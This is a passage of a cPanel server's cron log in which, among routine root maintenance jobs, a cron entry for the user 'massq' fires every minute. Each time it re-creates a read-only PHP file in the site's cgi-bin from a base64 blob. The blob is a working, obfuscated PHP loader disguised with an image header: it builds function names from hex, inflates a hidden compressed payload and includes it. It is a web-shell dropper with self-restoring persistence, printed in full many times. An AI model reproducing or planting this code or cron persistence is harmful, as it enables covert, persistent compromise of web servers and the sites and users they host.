TskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:05:01 server CROND[32403]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 13:05:01 server CROND[32404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:05:01 server CROND[32405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:05:01 server CROND[32406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:06:01 server CROND[32521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:07:01 server CROND[32588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:08:01 server CROND[32650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:09:01 server CROND[345]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 13:09:01 server CROND[346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:10:01 server CROND[410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:10:01 server CROND[409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 13:10:01 server CROND[412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:10:01 server CROND[411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:11:01 server CROND[534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:12:01 server CROND[603]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 13:12:01 server CROND[604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:13:01 server CROND[713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:14:01 server CROND[873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:15:01 server CROND[933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:15:01 server CROND[934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:15:01 server CROND[935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:16:01 server CROND[1047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:17:01 server CROND[1103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
